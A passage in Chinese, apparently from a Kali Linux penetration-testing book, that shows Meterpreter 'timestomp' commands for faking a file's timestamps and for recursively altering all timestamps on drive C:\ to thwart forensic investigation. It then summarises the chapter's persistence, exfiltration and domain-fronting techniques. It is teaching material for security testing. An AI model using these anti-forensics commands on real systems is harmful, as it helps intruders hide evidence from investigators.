如果我们想隐藏这个文件，可以将它移动到一个杂乱的目录，例如 Windows\System32。然而，这个文件对任何按创建日期或其他基于 MAC 的变量排序该目录内容的人来说都将是显而易见的。

相反，你可以通过运行以下命令来更改文件的时间戳：

meterpreter > timestomp -z "01/01/2001 10:10:10" README.txt 

这将更改 README.txt 文件的时间戳，如 图 13.44 所示：

图 13.44：修改文件的元数据以反映虚假的日期

为了完全破坏调查，攻击者可能会使用以下命令递归地更改某个目录或特定驱动器中的所有时间：

meterpreter> timestomp C:\\ -r 

这个解决方案并不完美。很明显，攻击已经发生。此外，时间戳可以保存在硬盘的其他位置，并且可以供调查人员访问。如果目标系统正在通过入侵检测系统（如 Tripwire）主动监控系统完整性的变化，那么时间戳篡改活动会触发警报。因此，当需要真正隐秘的方式时，摧毁时间戳的价值有限。

总结

在这一章中，我们深入探讨了攻击者用来保持对被攻陷环境访问的不同策略，包括通过域名前置隐藏攻击来源，同时我们也学习了如何隐藏攻击证据、掩盖踪迹并保持匿名，这是网络攻击杀伤链方法论的最后一步。

我们研究了如何使用 Netcat、Meterpreter、计划任务、PowerShell Empire 的 dbx 和 onedrive 模块、Covenant C2 和 Poshc2 植入物在被攻陷的系统上保持持久代理，以及如何通过传统服务（如 DNS、ICMP、Telnet、RDP 和 Netcat）来提取数据。我们还学会了如何找到易受攻击的域名前置域，并利用像 Amazon 和 Azure 这样的知名 CDN 来进行恶意活动。

在下一章中，我们将探讨如何利用现有的 Kali 2021.4 特性以及额外的工具来破解嵌入式设备和 RFID/NFC 设备。